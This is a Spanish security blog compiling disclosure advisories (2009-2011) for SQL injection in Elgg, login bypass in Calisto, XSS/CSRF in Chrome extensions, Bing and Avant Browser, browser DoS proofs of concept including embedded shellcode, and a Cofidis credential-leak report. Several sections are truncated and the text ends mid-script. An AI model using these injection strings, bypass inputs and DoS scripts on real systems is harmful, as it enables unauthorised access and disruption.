RootDev@blog:~$

##################################################
Elgg 1.8 beta2 and prior to 1.7.11 'container_guid' and 'owner_guid' SQL Injection
URL afectada: http://www.elgg.org/
Reportado por: http://lostmon.blogspot.com/2011/08/elgg-18-beta2-and-prior-to-1711.html
Notificación al afectado: SÍ Exploit disponible: SÍ
##################################################

###################
Descripción del afectado
###################

Elgg es un galardonado motor de redes sociales, la entrega de los elementos básicos que permiten a las empresas, escuelas, universidades y asociaciones para crear sus propias funciones de las redes sociales y aplicaciones. Las organizaciones con redes impulsado por Elgg incluyen: Gobierno de Australia, el Gobierno británico, canadiense Federal Gobierno, Mitre, el Banco Mundial, UNESCO, NASA, la Universidad de Stanford, La Universidad Johns Hopkins y más (http://elgg.org/powering.php)

################
Versiones afectadas
################

Elgg 1.8 beta2: vulnerable
Elgg 1.7.10 y posteriores versiones: vulnerables
Elgg 1.7.11: no vulnerable


#################
Detalles técnicos
#################

El tipo de inyección es integrado y sólo se puede explotar mediante inyección MySQL, funciona con
'magic_quotes_gpc' en 'on' u 'off''

######################
PoC
######################


Si sabes cómo inyectar, sabrás como usarlo ;-)


URL => http://localhost/elgg/search/?q=someword&search_type=tags&container_guid=7826'

Inyecciones:

and(select 1 from(select count(*),concat((select (select %column_name%) from
`information_schema`.tables limit 0,1),floor(rand(0)*2))x from
`information_schema`.tables
group by x)a) and 1=1

Count(table_name) of information_schema.tables where
table_schema=0x74657374 is 75

Count(column_name) of information_schema.columns where
table_schema=0x74657374 and table_name=0x62616E6C697374 is 4

################
Solución
###############


El afectado ha lanzado una versión actualizada para resolver este tema y otros, se pueden ver los cambios en el changelog y actualizen su Elgg a la versión 1.7.11.

###############
Tiempo de la vuln
###############

Descubierto: 30 de julio 2011
Notificación al afectado: 30 de julio 2011
Respuesta del afectado: 30 de julio 2011
Revisión del proveedor: 15 de agosto 2011
Divulgación pública: 15 de agosto 2011

########################## €nd ########################

Atentamente:
Lostmon (lostmon@gmail.com)
----


thz Lost ;-)

##################################################
Calisto light, light plus and full, SQL Injection And user or Admin bypass
URL del afectado: http://www.calistosoft.com.ar/
Reportado por: http://lostmon.blogspot.com/2011/08/calisto-light-light-plus-and-full-sql.html
Notificación al afectado: SÍ Exploit disponible: SÍ
##################################################

##########################
Descripción de la vulnerabilidad
##########################

Calisto Light, Light Plus y Full contiene un error que permite a un atacante realizar ataques del tipo SQL injection.  

El problema se debe a que el script no es el adecuado de usuario-entrada en el campo de formulario "Usuario" y el parámetro "txtEmail" dejando paso a "login.aspx" y "/ admin / loginAdmin.aspx" esto permite inyectar o manipular consultas SQL en la base de datos.

################
Versiones afectadas
################

Calisto Light
Calisto Light plus
Calisto Full

######################
PoC
######################

Este bug se puede utilizar para omitir la validación o la validación del usuario admin

1.- Si escribimos en la caja de user:

someword'or'1'='1' y haca clic en el botón de inicio de sesión, cuando carga la aplicación "login.aspx" nos muestra una advertencia SQL, pero si escribimos:

someword'or'1'='1'-- esto evita la validación (bypass), si alguien sabe un correo electrónico de usuario, entonces él puede registrarse como ese usuario :)


2.- Si escribimos en la caja de Admin:


Admin'or'1'='1'-- y hacemos clic en el botón de inicio de sesión, carga la aplicación hacia '/admin/loginAdmin.aspx' sin necesidad de validación alguna (bypass admin) :)

################
Solución
###############

No hay ninguna solución en este momento.
 
He enviado cuatro e-mails a través del formulario web de calistosoft e información y correos de apoyo para conseguir el contacto inicial, pero no me responden :(

###############
Tiempo de la vuln
###############

Descubierto: 30-07-2011
Notificación al afectado: 08/07/2011
Respuesta del afectado: no hay respuesta.
Parche: no hay un parche
Parche del vendedor: no hay un parche
Divulgación pública: 08/11/2011


########################## €nd ########################

Atentamente:
Lostmon (lostmon@gmail.com)
----


thz Lost ;-)

#############################################
Internet Explorer 6, 7 and 8 Window.open race condition Vulnerability
URL del afectado: http://www.microsoft.com
Avisado por: http://lostmon.blogspot.com/2011/08/internet-explorer-6-7-and-8-windowopen.html
Coordinación en la divulgación: SÍ Exploit disponible: Privado
CVE-2011-1257 and MS011-57
#############################################

Microsoft Internet Explorer 6, 7 y 8 es propenso a una vulnerabilidad de ejecución remota de código mediante una condición que corre bajo window.open javascript method.

Un atacante remoto puede componer una página web con código malicioso y cuando una víctima visita esta web con los elemantos malformados, el atacante puede explotar/hacer uso de esta situación.

######################
            Solución
######################

Microsoft analiza en su boletín y nos da detalles tecnicos sobre este tema, podéis leerlo en su página mediante este identificador [MS011-57].

Pueden encontrar información más detallada en este enlace: http://www.microsoft.com/technet/security/bulletin/MS11-057.mspx

También ha solventado este problema con un nuevo parche para actualizar su sistema:  http://www.microsoft.com/technet/security/bulletin/MS11-057.mspx

 ############
Tiempo de la vuln
############

Descubierto: 13 de enero 2011
Notificado: 19 de enero 2011
Respuesta de Microsoft: 19 de enero 2011 
Revisión del proveedor: 09 de agosto 2011
Divulgación pública: 09 de agosto 2011

################# €nd #########################

Thnx to Michal Zalewski for his extraordinary mind
and knowledge, people like him should have a virtual
statue for the rest of the times

Thnx To Jack, Gerardo, Nate and all MSRC
for his support in this issue.

Thnx To Microsoft Vulnerability Research (MSVR)
for interesting in this issue and for coordinate
Disclosure in other browsers afected.

Thnx to All who Belive in Me include you Estrella :**

atentamente:
Lostmon (lostmon@gmail.com)
------


thz Lost ;)

###################################################
Safari for windows Invalid SGV text style Webkit.dll DoS
Afectado: www.apple.com
Reportado por: http://lostmon.blogspot.com/2010/08/safari-for-windows-invalid-sgv-text.html
Notificación al afectado: Sí Exploit disponible: Sí
###################################################

Safari Browser (en windows) es vulnerable siendo propenso a Denegaciones de Servicio, este problema afecta a webkit.dll y se bloquea al tratar de hacer que Safari abra una imagen SGV con un tamaño grande de fuente.

############
versiones
############

Safari para windows 5.0.1 (7533.17.8)
en windows 7 ultimate completamente parcheado.

Safari para windows windows 5.0.1 (7533.17.8)
en windows xp home sp3 completamente parcheado.

############
Línea de tiempo
############

Descubierto:19-08-2010
Notificado al vendedor:25-08-2010
Respuesta del vendedor:26-08-2010
Publicado: 30-09-2010

####################
PoC
####################

Guarda el código como "image.svg" y ábrelo con Safari, mirad como se añaden algunos píxeles "extra" en estilo de la fuente en el tamaño del texto.

################ BOF image.svg ######################

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" version="1.1">
<defs>
<mask id="crash">
<polygon points="155.5,45.6146 181.334,119.935 260,121.538 197.3,169.074
220.085,244.385 155.5,199.444 90.9154,244.385 113.7,169.074
51,121.538 129.666,119.935"
transform="matrix(1 0 0 1.04643 1.9873e-014 -6.73254)
translate(-52.381 -37.9218)"
style="fill:rgb(255,255,255);stroke:rgb(0,0,0);stroke-width:1" />
</mask>
</defs>

<g mask="url(#crash)" style="font-family:Verdana; font-size: 10pt; fill:red;">
<text x="80" y="80" style="font-size:111000000pt; fill:pink;">Safari</text>
<text x="0" y="130" style="font-size: 60pt; fill:pink;">Now</text>
<text x="20" y="190" style="font-size: 60pt; fill:pink;">Crash</text>
</g>

</svg>

###############EOF####################

################# €nd ###############

Thnx To cLimbo for his patience and support.

Atentamente:
Lostmon (lostmon@gmail.com)
---
thz Lost ;-)

###############################################
Google Chrome and Chrome frame Prompt DoS
Afectado: http://www.google.com
Reportado por: http://lostmon.blogspot.com/2010/08/google-chrome-and-chrome-frame-prompt.html
Reporte en español: http://rootdev.blogspot.com/2010/08/google-chrome-and-chrome-frame-prompt.html
Notificación al afectado: Sí Exploit disponible: Sí
###############################################

Este bug ha sido descubierto por mí y ha sido testeado e investigado por cLimbo de #Ayuda-informaticos de la red iRC-Hispano (podéis encontrarnos allí)

#########
Resumen
#########

Algunas veces la necesidad de aplicaciones web en el sistema exponen algunos datos de los usuarios, se pueden vulnerar a través de un código Javascript, o por medio de formularios html, etcétera..

En el caso del código en Javascript pide accecer a los datos del sistema (la pregunta en sí es) es muy extenso ?

################

Google Chrome es propenso a una vulnerabilidad de denegación de servicio a través de "mensajes de alerta" cuando los datos esperados son muy extensos.

No sé si esto puede ser a su vez en una ejecución remota de código o una corrupción de la memoria o similares, pero creo que esta vulnerabilidad necesita analizarse y posteriormente parchearse.


###################
Versiones testeadas
###################

En todos los casos de Google Chrome es el vector el que produce alguna incongluencia en todos los sistemas :)

######################
MAC OS X leopard 10.5
######################

Google Chrome5.0.375.126 (Build oficial 53802) WebKit 533.4
V8 2.1.10.15
User Agent Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US)
AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4
Command Line /Applications/Google Chrome.app/Contents/MacOS/Google Chrome -psn_0_794818

In all cases OS X closes all Chrome Windows.( Chrome Crash)


##############
ubuntu 10.04
##############
Chromium 5.0.375.99 (Developer Build 51029) Ubuntu 10.04
WebKit 533.4
V8 2.1.10.14
User Agent Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4
(KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4
Command Line /usr/lib/chromium-browser/chromium-browser

In al cases Chrome is minimized and denies the access to
"window manager button" and we can´t no change beetwen applications
that we have open.


##################
Windows 7 32 bits
###################

Google Chrome 5.0.375.86 (Build oficial 49890)
on windows 7 ultimate fully patched.

It causes a DoS in chrome and a DoS in IE8 when
exploit it across Google Chrome Frame.

###############
Debian 2.6.26
###############

Google Chrome 6.0.472.25 (Build oficial 55113) devWebKit 534.3
V82.2.24.11
User Agent Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit 534.3

in all cases Debian Closes all chrome Windows.( Chrome Crash)


####################
PoC
####################

Este PoC ha sido testeado en win7 32 bits, chrome and chrome frame en conjunto con IE8 causando una denegación de servicio en IE8.

#############################


<meta http-equiv="X-UA-Compatible" content="chrome=1">
<h1> wait 10 or 11 seconds :)</h1>
<script>

function do_buffer(payload, len) {
while(payload.length < (len * 2)) payload += payload;
payload = payload.substring(0, len);
return payload;
}
function DoS()
{
var buffer = do_buffer(unescape('%u0c0c%u0c0c'), 38000);
prompt(buffer);
}
setTimeout('DoS()',1000);
</script>


################# EOF ###################

Este segundo PoC es para ser testeado en Linux o en Mac OS X

#######################################
<h1> wait 10 or 11 seconds :)</h1>
<script>
function do_buffer(payload, len) {
while(payload.length < (len * 2)) payload += payload;
payload = payload.substring(0, len);
return payload;
}
function DoS()
{
var buffer = do_buffer(unescape('%u0c0c%u0c0c'), 50000);
prompt(buffer);
}
setTimeout('DoS()',1000);
</script>

################# EOF ###################


############
Referencias
############
Vuln relacionada:
http://lostmon.blogspot.com/2010/07/ie8-on-windows-7-32-bits-unspecified.html

Google chrome bugtrack:
http://code.google.com/p/chromium/issues/detail?id=47617

################### €nd ###################

Thnx To cLimbo for his patience and support.

atentamente:
Lostmon (lostmon@gmail.com)
------------

thz Lost ;-)

######################################
Google Services Notifier Chrome extension XSS/CSRF
extension: https://chrome.google.com/extensions/detail/dmgbflokapnkfnegeigclohhplnflgie
reportado por: http://lostmon.blogspot.com/2010/06/google-services-notifier-chrome.html
Exploit disponible: Sí Notificación al desarrollador: No
#######################################

En este caso el “notificador para Google Wave Chrome” tiene un bug que permite a atacantes realizar ataques XSS.

Todas las extensiones se ejecutan sobre su origen y no tienen forma de alterar los datos de la extensión u obtener datos sensibles como; cuenta de correo electrónico o contraseña, etc.

Podemos observar como muchos usuarios se han instalado esta extensión => https://chrome.google.com/extensions/detail/dmgbflokapnkfnegeigclohhplnflgie
109 usuarios lo han instalado (WoW)

############
explicación
############

Los servicios de Google permite a los usuarios usar el notificador para ver cuando tienen un nuevo wave y ver también una vista previa de la misma.

"Mantente al día con los servicios de Google como Google Mail, Blogger, Reader, YouTube,
Google Docs, Google Wave servicios, etc. Se añadirá más información en breve. "

Si un atacante crea un nuevo wave con el código HTML o JavaScript en el cuerpo y lo envía a la víctima el código se ejecuta, cuando la víctima haga click para ver la vista previa de los waves.

Asi que para aprovechar que tenemos que crear un wave “especial” por ej, si ponemos directamente en el cuerpo del correo un iframe:

"><iframe src="javascript:alert(location.href);"></iframe>

En los dos casos el alert se ejecuta cuando trata de abrir una vista previa del correo electrónico con la extensión que se ejecuta en el valor de contexto que es: location.href el valor sería: “about:blank”
Por ejemplo enviando un wave con un cierre de sesión con el cuerpo:

“><iframe src=”https://wave.google.com/wave/logout”></iframe>

Se cerraría la sesión en google wave, esto es un CSRF.


######################€nd################################

Thnx for your time !!!
atentamente: Lostmon (lostmon@gmail.com)
-----

thz Lost ;-)

######################################
Notifier for Google Wave Chrome extension XSS/CSRF
extension: https://chrome.google.com/extensions/detail/aphncaagnlabkeipnbbicmcahnamibgb
reportado por: http://lostmon.blogspot.com/2010/06/notifier-for-google-wave-chrome.html
Exploit disponible: Sí Notificación al desarrollador: No
#######################################

Seguimos, en este caso el "notificador para Google Wave Chrome" tiene un bug que permite a atacantes realizar ataques XSS.

Todas las extensiones se ejecutan sobre su origen y no tienen forma de alterar los datos de la extensión u obtener datos sensibles como; cuenta de correo electrónico o contraseña, etc.

Podemos observar como muchos usuarios se han instalado esta extensión => https://chrome.google.com/extensions/detail/aphncaagnlabkeipnbbicmcahnamibgb
56,542 usuarios se lo han instalado (WoW)

############
explicación
############

El Notificador de Google Wave permite a los usuarios ver cuando tienen un nuevo wave y ver una vista previa de la misma.

Si un atacante crea un nuevo wave con el código HTML o JavaScript en el cuerpo y lo envía a la víctima el código se ejecuta, cuando la víctima haga click para ver la vista previa de los waves.

Asi que para aprovechar que tenemos que crear un wave "especial" por ej, si ponemos directamente en el cuerpo del correo un iframe: "><iframe src="javascript:alert(location.href);"></iframe>

En los dos casos el alert se ejecuta cuando trata de abrir una vista previa del correo electrónico con la extensión que se ejecuta en el valor de contexto que es: location.href el valor sería: “about:blank”

Por ejemplo enviando un wave con un cierre de sesión con el cuerpo:

"><iframe src="https://wave.google.com/wave/logout"></iframe>

Se cerraría la sesión en google wave, esto es un CSRF.

######################€nd#################################
.

Thnx for your time !!!

atentamente:
Lostmon (lostmon@gmail.com)
-----

thz Lost ;-)

##################################
Firefox 3.6.2 & 3.6.3 and flock 2.5 browsers uncaught excepcion error console DoS
URL del creador: http://www.mozilla.com
URL del creador: http://www.flock.com/
Reportado por: http://lostmon.blogspot.com/2010/04/firefox-362-363-and-flock-25-browsers.html
###################################

Firefox y Flock pueden ser colgados con una página con formato incorrecto, también intenta ver la consola de errores de Firefox y Flock debido a una excepcion no detectada y esto es un out of memory.

################
Versiones
################

firefox 3.6.2 and 3.6.3 vulnerable
Bugzilla:
https://bugzilla.mozilla.org/show_bug.cgi?id=557228

Flock 2.5 vulnerable

#################
Prueba de concepto
#################

<html>
<head>
<title> Bad 'throw' exception Remote DoS Flock browser 2.5 firefox 3.6.2 & 3.6.3</title>
</head>
<body onload="javascript:alert('Please Press Ctrl+Shift+J');">
<script language='JavaScript'>
var n=unescape('%uf1a4%u7ffd');
<!-- variant var n=unescape('%uc0c0%uc0c0%uc0c0'); --!>
<!-- Shellcode calc.exe but does not work --!>
var s=unescape('%uf631%u6456%u768b%u8b30%u0c76%u768b%u8b1c%u086e%u368b%u5d8b%u8b3c%u1d5c%u0178%u8beb%u184b%u7b8b%u0120%u8bef%u8f7c%u01fc%u31ef%u99c0%u1732%uc166%u01ca%u75ae%u66f7%ufa81%uf510%ue2e0%ucf75%u538b%u0124%u0fea%u14b7%u8b4a%u1c7b%uef01%u2c03%u6897%u652e%u6578%u6368%u6c61%u5463%u0487%u5024%ud5ffÌ');
for(var i=0;i<64;i++){
n=n+n;
document.write('<script>throw n+s;</scr'+'ipt>');
}
</script>
</head>
<body>
<center><h1> Bad 'throw' exception Remote DoS on firefox 3.6.x and Flock browser 2.5 </h1>
<h3>Based on the exploit from <a href="http://hacksafe.blogspot.com/">Nishant Das Patnaik</a><br />
Exploit modified by <a href="http://lostmon.blogspot.com">Lostmon</a> Lostmon@gmail.com to affects Flock and Firefox.
Remember to press ctrl+shift+j and make sure that your console log is in "all" tab or in "errors" tab , in firefox and flock :)</h3>

</center></body>
</html>

###################€nd ##########################

Thns to estrella to be my ligth
--
atentamente:
Lostmon (lostmon@gmail.com)
---
Traducción por; cLimbo
---
thz Lost ;-)

##########################################
Wowd search client multiple variable XSS
URL afectada: http://www.wowd.com/
Avisado por: http://lostmon.blogspot.com/2009/10/wowd-search-client-multiple-variable.html
Notificación al vendedor: SÍ exploit disponible: SÍ
##########################################

################
¿Qué es Wowd?
################

Wowd es un motor de búsqueda que sirve para descubrir lo más popular de las webs en tiempo real.

En esencia, la compañía ha hecho un p2p como motor de búsqueda, por lo que otros usuarios Wowd que hay en línea pueden estudiar y usar sitios del ranking basada en una estructura de enlaces arcanos.

Teniendo una búsqueda y dividiéndola en millones de pequeñas piezas todas ellas dirigidas por los usuarios individuales que han descargado el cliente Wowd cambia completamente la operación - y la economía - del motor de búsqueda. Cuantas más veces clicken dentro de Wowd en un enlace dentro de un tiempo "x" el ranking será más alto ya que es mayor el vínculo.

##########################
Descripción de la vulnerabilidad
##########################

El cliente Wowd contiene un error que permite a ejecutar un codigo remoto cross site scripting (XSS). Este error existe porque la aplicación no es valida en el cuadro de diálogo URI '' SortBy 'tags' y 'variables CTX' en envio a script 'index.html'. Esto podría permitir a un usuario crear especialmente un código a través de una dirección URL que ejecutaría arbitrariamente en el navegador de un usuario dentro de la relación de confianza entre el navegador y el servidor, esto produciría una pérdida de integridad.

Este problema puede ser peligroso, porque si se está ejecutando el cliente Wowd, usted tiene esta vulnerabilidad, porque este problema puede ser aprovechado en todos los navegadores, hasta en IE8 con el filtro anti-XSS (WoW!)

#################
Versiones
################·

Wowd client 1.3.0

#################
SOLUCIÓN
#################

No hay solución por el momento !!!

###################
PoC
###################

#############
Prueba
#############

###########################################
Cofidis.es pudo ver sus datos comprometidos
Afectado: www.cofidis.es
Falla: cedenciales criticas al descubierto
###########################################

Cofidis es una empresa formada por varios grupos de crédito que agrupan diferentes servicios dentro del panorama de finanzas mundiales.

La definición según podemos leer en su web:

"Somos líderes europeos del crédito por teléfono: tenemos más de 8 millones de clientes. En España, Ya contamos con más de 15 años de experiencia y un equipo de más de 800 colaboradores."

Cofidis.es pudo verse afectado por un fallo atraves del cual podrían terceras personas haber podido tener acceso
a datos de carácter personal, al haber dejado al descubierto las credenciales de acceso root al portal y así mismo al dejar al descubierto las credenciales de acceso a la base de datos del portal.

Para hacernos una idea de qué tipo de datos pueden haber sido vistos o "robados" por terceros, tan solo debemos mirar uno de los formularios de solicitud de crédito, y por los datos que se nos piden se puede saber qué tipo de datos podría contener la base de datos.

https://www.espaciocliente.cofidis.es/cofidis/preapprove/PreApproveContractDisplayAction.do

Esta noticia Llego a mí, después observar un post en Twitter en el cual se daba una url del portal Cofidis.es y el acceso
a un txt sin ningún tipo de protección, y el cual contenía las credenciales antes mencionadas.

Después de observar esta situación, y hablado con algunos de los miembros del grupo de discusión e investigación, decidimos mirar desde cuando podía haberse dado esta circunstancia y el posible origen de la noticia. Haciendo una búsqueda rápida en los motores de búsqueda habituales Llegamos a un Post en twitter del día 12-10-2009.



Y uno posterior del día 13-10-2009.



Y otro mas el dia 13-10-2009.



El día 14-10-2009 por la tarde el txt que contenía estascredenciales fue retirado del raíz del portal cofidis.es
Con lo cual se puede pensar que esos datos tan sensibles pudieron estar al alcance de todo el mundo durante al
menos tres días.

Google muestra en su cache, una imagen de dicho documento con fecha Del día 13-10-2009 mostrando las credenciales:

http://209.85.229.132/search?q=cache:nrpZAY7spqYJ:www.cofidis.es/cofidis.txt+http://www.cofidis.es/cofidis.txt&cd=8&hl=es&ct=clnk&gl=es



Pero esta sería la fecha en la cual google tomo esa instantánea de ese documento, pudiendo haber reemplazado a una anterior a eso, los logs del servidor de cofidis deberían mostrar cuando fue la primera vez que el spider de google pudo rastrear ese txt.

Así mismo si realizamos una búsqueda en google por el fichero txt entre los resultados primeros puede apreciarse que Google también revela esas credenciales faltaría saber cuando fue incluido en la Indexación ese archivo, para intentar averiguar desde que fecha se pudo haberse producido esta situación.

http://www.google.es/search?q=cofidis.txt



Como pudo Un administrador dejar deliberadamente un archivo con información tan sensible a la vista de cualquier visitante, se preguntara más de uno.

Seguramente el admin no sabía nada de la existencia de ese fichero, o eso creemos o queremos creer) Debió ser un hackeo , por el tipo de fichero generado y su disposición y los datos que contiene podría haberse tratado de algún agujero de seguridad en la web , a traves del cual el atacante hubiese podido incluir algún archivo externo
( esta vulnerabilidad es conocida como RFI (o remote file include) pues hay algunos scripts de los que corren por la red, que justamente hacen eso y mirando su fuente se puede observar que justamente sacan esos datos de la maquina o inyectan una Shell en php.

Creo que cofidis debería dar explicaciones de este hecho y así mismo debería verse como le afecta este acontecimiento a cofidis, ante la LOPD y que datos han sido comprometidos, no por mi porque por suerte yo no me encuentro en su base de datos que yo sepa, pues nunca necesite sus servicios.

Desde el grupo de investigación y desarrollo de Lostmon's Groups queremos hacer un llamamiento a que las empresas como cofidis y otras que trabajan con datos personales tan sensibles y de tanta confidencialidad, deberían invertir parte de sus beneficios en asegurar que esos datos no estarán accesibles y deberían hacer lo posible por protegerlos como se les pide en la LOPD.

Bien es cierto que en seguridad, no hay nada seguro, o que lo bonito de la seguridad es la inseguridad que trae por si
misma. Y bien es cierto que por mucho que los administradores pongan énfasis y empeño en asegurar servicios y sistemas, siempre hay gente, que va por delante de ellos.

Este analisis ha sido realizado por cLimbo y por Lostmon

thank to all Lostmon groups team
Thnx to estrella to be my ligth

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

IE8 tiene un pequeño "bug", permite denegar la función "guardar como" si el documento html tiene un título largo.

De forma predeterminada cuando un usuario intenta hacer click en "guardar como" el navegador utiliza el título del HTML como el nombre del archivo para guardarlo, pero si este título es muy largo, el explorador da un error porque no puede guardar este archivo.

Internet Explorer no guarda los archivos que en el nombre contienen más de 261 caracteres, ya que el Explorador da un aviso con un error de que el archivo no se puede guardar.

Creo que esto no tiene implicación alguna en la seguridad, le envié un mail a MSRC comentándoles la cuestión y ellos piensan lo mismo.

Respuesta de MSRC:

"De acuerdo con su apreciación de que este no parece ser una cuestión de seguridad, puede ser un error y informaré para que lo tengan en cuenta en un futuro al sacar una no-actualización de seguridad"

Aquí tenéis el PoC de este "bug", es muy simple;

<HTML>
<TITLE>A*261 chars</TITLE>
<HTML>

###########End #################

thank to all Lostmon groups team
Thnx to estrella to be my ligth

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/

-----------

thz Lost ;-)

###########################################
Bing.com WebmasterAuthenticationInformationPage.aspx XSS
URL del vendedor: http://ww.bing.com
Reportado: http://lostmon.blogspot.com/2009/08/bingcom-webmasterauthenticationinformat.html
Vendedor avisado: Sí Confirmación vendedor: Sí
###########################################

El motor de búsqueda Bing, contiene un error que permite ataques cross site scripting.
Este defecto existe porque la solicitud no valida correctamente la variable 'authTag para la presentación de 'WebmasterAuthenticationInformationPage.aspx' podría script. Esto permite a un usuario crear una URL especialmente preparada para ejecutar código arbitrario en el navegador de un usuario dentro de la relación de confianza entre el navegador y el servidor, lo que lleva a una pérdida de integridad.

Un atacante puede componer un enlace incorrecto en la variable 'WebmasterAuthenticationInformationPage.aspx' y el consiguiente código, es escribir en dos cajas y en el 'LiveSearchSiteAuth.xml'.

Un usuario remoto puede redactar un enlace incorrecto en la variable de ' WebmasterXMLAuthDownloadPage.aspx', para descargar 'LiveSearchSiteAuth.xml' => es éste el archivo que contiene el código malicioso.

###########################################
Internet explorer pwned Avant Browser via history Persistent XSS vulnerabilities
URL del vendedor: http://www.avantbrowser.com/
Reportado: http://lostmon.blogspot.com/2009/08/internet-explorer-pwned-avant-browser.html
Aviso al vendedor: No Exploit disponible: Sí
############################################

#############
descripcion
#############

Avant browser's es fácil de usar, aporta un nuevo nivel de claridad y eficiencia a su experiencia de navegación, y también tiene frecuentes actualizaciones que han mejorado constantemente su fiabilidad.

Avant Browser es freeware, 100% Gratis!.

Una vulnerabilidad es recientemente descubierta en el navegador Avant por mí y se puede explotar a través del historial en IE8

vuln relacionada => http://rootdev.blogspot.com/2009/08/avant-browser-browserhome.html

###############
version probada
###############

Internet Explorer 8 (en xp home)

Avant Browser 11.7 build 35

#########
solucion
##########

No hay solución en este momento.

#############
Cronología:
#############

Descubierto: 23-07-2009
Publicado: 03-08-2009

##################
pruebas
##################

http://rootdev.blogspot.com/2009/08/avant-browser-browserhome.html

Podéis ver esta vulnerabilidad de los navegadores. Es avanzada ya que puedes explotarla a través del explorador, se sabe que la columna afectada por el historial es una secuencia de comandos de inserción en el browse:home de dinámico contenido.

Si un usuario abre el explorador y trata de ir a un sitio malicioso como por ej:

http://usuarios.lycos.es/reyfuss/id.php?id="><h1>Test html injection</h1>

Por ejemplo, si esta url de búsqueda avanzada con el navegador => http://usuarios.lycos.es/reyfuss/id.php?id="><iframe src='http://www.google.com'></iframe>

###########################################
Orca Browser browser:home Persistent XSS vulnerability
URL del vendedor: http://www.orcabrowser.com/
Reportado: http://lostmon.blogspot.com/2009/07/orca-browser-browserhome-persistent-xss.html
Aviso al vendedor: No Exploit disponible: Sí
############################################

#############
Descripción
#############

###########################################
Avant Browser browser:home Vulnerabilidades XSS Persistentes
url del desarrollador: http://www.avantbrowser.com/
Informador: http://lostmon.blogspot.com/2009/07/
avant-browser-browserhome-persistent.html
Notificado al desarrollador: NO Exploit disponible: YES
############################################

#############
Descripción
#############

La interfaz del navegador Avant eleva a un nuevo nivel de claridad y eficiencia a tu experiencia y las frequentes actualizaciones aumentan su fiabilidad.
El navegador Avant es Gratuito, 100% Grauito!

Avant Browser contiene un fallo de seguridad que permite técnicas de 'Remote Cross Site Scripting'. Este fallo existe gracias a que la aplicación no valida correctamente los enlaces a la hora de registrarlos en el historial, añadir una web a marcadores, y los sitios más visitados en en la página browser:home.
Esto permitiría a un usuario crear un enlace modificado ó un marcador que ejecute código arbitrario en el navegador del usuario mediante la relación validada entre cliente y servidor cuando éste intenta cargar browser:home, desembocando en una pérdida de integridad.

###############
Versiones Comprobadas
###############

Avant Browser 11.7 build 35

#########
Solución
##########

No hay solución disponible en éste momento.


Revisa el registro de cambios de ésta versión:

http://blog.avantforce.com/avant-browser-117-build-35-released/

#############
Línea de Tiempo
#############

Descubierto: 23-jul-2009
Publicado: 30 jul 2009

##################
Probando
##################

Vídeo demostración => http://www.spymac.com/details/?2417793
Al abrir el Navegador Avant y por defecto carga 'browser:home', podemos ver que hay tres columnas, 1 Top Sitios, 2 Historial y 3 Marcadores recientes.
Las tres columnas son vulnerables a XSS, para demostrar los tres casos, hacemos una web de pruebas para testearlo.

<?
$cmd=$_GET[id]
?>

Pongo la web pública para testear =>

http://usuarios.lycos.es/reyfuss/id.php?id=

Abrimos el navegador Avant y navegamos a
http://usuarios.lycos.es/reyfuss/id.php?id="><script>alert(1)</script>
esperamos a que finalice la carga y cerramos el navegador ó abrimos browser:home.

El script es ejecutado y tenemos dos columnas afectadas, la primera y la segunda.

Vamos a Herramientas -> Borrar Historial

Vamos de nuevo a
http://usuarios.lycos.es/reyfuss/id.php?id="><script>alert(1)</script>
click derecho y Añadir a marcadores.

Cargamos de nuevo browser:home y tenemos el XSS ejecutado en la columna marcadores.
Por ejemplo si queremos denegar el acceso a browser:home podemos cargar lo siguiente =>
http://usuarios.lycos.es/reyfuss/id.php?id="><script>window.close()</script>

Y cuando cargamos el navegador y carga browser:home, el script lo cierra.

Si quisieramos denegar el servicio cargamos =>
http://usuarios.lycos.es/reyfuss/id.php?id="><script>while(1)alert(1)</script>

################ Final #####################
Agradecimientos:

thnx to estrella to be my ligth
thnx to Brink he is investigate with me.
thnx to all who day after day support me !!!
thnx to RootDev
atentamente:

--
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)

###########################################
Bing.com Search engine, cache.aspx XSS
URL del vendedor: http://ww.bing.com
Reportado: http://lostmon.blogspot.com/2009/07/bingcom-search-engine-cacheaspx-xss.html
Vendedor avisado: Sí Vendedor confirmado: Sí
###########################################

Bing es un motor de búsqueda que contiene un error el cual permite ataques cross site scripting. Este defecto existe porque la solicitud no valida correctamente la variable 'q' al script "cache.aspx". Se podría permitir a un usuario crear una URL especialmente preparada para ejecutar un código arbitrario en el navegador de un usuario, dentro de la relación de confianza entre el navegador y el servidor, lo que lleva a una pérdida de integridad.






#########
Solución:
##########

No existe solución en este momento.

Pero Microsoft planifica la revisión de la nueva versión del código de Bing.

#############
Cronología:
#############

Descubierto: 08-junio-2009
Notificado al vendedor: 11 junio 2009
Respuesta de los proveedores: 11 junio 2009
Última respuesta del vendedor: 30 junio 2009
Publicado: 29 julio 2009

################ End #####################

thnx to estrella to be my ligth
thnx to Brink he is investigate with me.
thnx to all who day after day support me !!!
--
atentamente:
Lostmon (lostmon@gmail.com)

------------

thz Lost :-)

#######################################
Google Chrome About:blank spoof
URL del vendedor: www.google.com
Reportado: http://lostmon.blogspot.com/2009/07/google-chrome-aboutblank-spoof.html

Vendedor avisado: Sí Exploit disponible: Sí
########################################

vuln :=>http://code.google.com/p/chromium/issues/detail?id=17876

Chrome Version :2.0.172.37 (Build oficial)
URLs (if applicable) :
Other browsers tested:
Se añade OK o FAIL después de probar la vuln:
Safari 4: FAIL
Firefox 3.x: FAIL
IE 7: OK
IE 8: OK


</script>

<center>
<h1>Chrome about:blank Spoof</h1>
</center>

This vulnerability is based on http://www.securityfocus.com/bid/35829/ and
http://www.securityfocus.com/bid/35803
by Juan Pablo Lopez Yacubian and Michael Wood.

<p>
<a href='javascript:spoof()'><<h2>test Spoof !!</h2></a>
<p>


<script>
function spoof()
{

a = window.open('http://www.example.com%20%20%20%20%20%20%20%20%20%20%20%
